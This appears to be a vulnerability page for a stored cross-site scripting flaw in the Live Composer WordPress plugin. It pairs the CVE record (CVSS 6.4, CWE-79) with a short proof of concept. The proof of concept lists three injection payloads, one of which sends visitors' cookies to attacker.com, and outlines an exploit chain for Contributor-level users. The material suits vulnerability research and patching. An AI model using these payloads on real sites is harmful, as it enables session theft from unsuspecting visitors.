CVE-2025-13537

// CVE-2025-13537 PoC - Stored XSS in Live Composer WordPress Plugin // Requires Contributor-level access or higher // Method 1: Inject via DOM attribute manipulation // In Live Composer editor, add a module and modify attributes with: var xss_payload = '" onerror="alert(String.fromCharCode(88,83,83,80,111,99))" data-xss="'; // Method 2: Using event handlers var xss_payload2 = '<img src=x onerror=alert(document.cookie)>'; // Method 3: Using script tag var xss_payload3 = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Example: Exploit chain // 1. Attacker with Contributor access creates/edits a page // 2. Attacker injects XSS payload in Live Composer module attributes // 3. Payload is stored in database without proper sanitization // 4. When victim visits the page, XSS executes in victim's browser // Detection pattern for vulnerable versions: // Check if plugin version <= 2.0.2 // Look for unescaped user input in frontend/index.js DOM operations

{"cve": {"id": "CVE-2025-13537", "sourceIdentifier": "[email protected]", "published": "2025-12-17T19:16:01.380", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Live Composer – Free WordPress Website Builder plugin for WordPress is vulnerable to multiple Stored Cross-Site Scripting vulnerabilities via DOM manipulation in all versions up to, and including, 2.0.2 due to insufficient input sanitization and output escaping on user-supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/live-composer-page-builder/trunk/js/src/client/frontend/index.js#L126", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/live-composer-page-builder/trunk/js/src/client/frontend/index.js#L926", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3419715/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a9f8ab73-8c2a-4551-bad9-4e5cc67231e5?source=cve", "source": "[email protected]"}]}}